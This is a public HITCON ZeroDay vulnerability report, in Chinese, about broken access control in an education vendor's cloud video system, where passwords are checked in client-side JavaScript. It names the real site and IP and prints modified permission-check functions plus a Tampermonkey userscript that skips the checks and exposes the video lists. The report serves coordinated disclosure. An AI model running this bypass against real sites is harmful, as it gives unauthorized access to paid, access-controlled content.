得勝者文教 雲端學習系統 權限控制失效 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-00743
  •  發信 Vendor: 得勝者文教
  • Title: 得勝者文教 雲端學習系統 權限控制失效
  • Introduction: 密碼在本地比對,可以修改js跳過密碼直接存取影片

處理狀態

目前狀態

公開
Last Update : 2024/08/26
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2024/06/26 12:48:04 : 新提交 (由 ergs0204 更新此狀態)
  • 2024/06/27 18:09:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/07/10 17:58:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/07/10 17:58:49 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/08/26 03:00:13 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-00743
  • 通報者:ergs0204 (ergs0204)
  • 風險:低
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://victorbook.com.tw/
http://59.124.70.128/cloud/user1/index.html

敘述

部分課程,如:謝O瑄7/2,使用checkPermitHome函數將加密密碼解碼並與使用者輸入之密碼比對,然而可以更改函數直接進入影片列表。
更改為

function checkPermitHome(ipw,ipw_key,iTag){
    iipw=''; 
    ics=iTag.split(';');
    icstr='';
    for(i=0;i<ics.length;i++){
        if(/^(\d+)\.\d(\d+)$/.test(ics[i]))icstr+=String.fromCharCode(RegExp.$1-RegExp.$2-273)
    }
    window.open(icstr,'_top');
}

在進入影片列表會藉由checkValidTime再次確認權限,可以利用tampermonkey在讀取js前修改掉,從而獲取影片列表,或以python request直接獲取頁面內容。

// ==UserScript==
// @run-at       document-start
// ==/UserScript==

(function() {
    'use strict';

    const originalCheckValidTime = window.checkValidTime;

    const replaceFunctions = () => {
        if (typeof window.checkValidTime === 'function' && window.checkValidTime !== originalCheckValidTime) {
            console.log("Original checkValidTime found and will be replaced.");
            window.checkValidTime = function() {
                return true; 
            };
        }
    };

    const observer = new MutationObserver((mutations) => {
        mutations.forEach((mutation) => {
            if (mutation.addedNodes) {
                mutation.addedNodes.forEach((node) => {
                    if (node.tagName === 'SCRIPT') {
                        replaceFunctions();
                    }
                });
            }
        });
    });

    observer.observe(document.documentElement, 
        childList: true);

    window.addEventListener('load', replaceFunctions);
})();

點選影片時會以checkPermit確認權限,如同checkPermitHome可修改直接進入。

function checkPermit(ipw,ipw_key,iTag,wName,isJwp){
    iipw='';
    ics=iTag.split(';');
    icstr='';
    for(i=0;i<ics.length;i++){
        if(/^(\d+)\.\d(\d+)$/.test(ics[i]))icstr+=String.fromCharCode(RegExp.$1-RegExp.$2-273)
    }
    if(isJwp==0) window.open(icstr,wName);
    else window.open("jcsPlay.htm?"+ getRndNum(1000,9999) +"#item="+encodeURIComponent(icstr),wName);
}

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;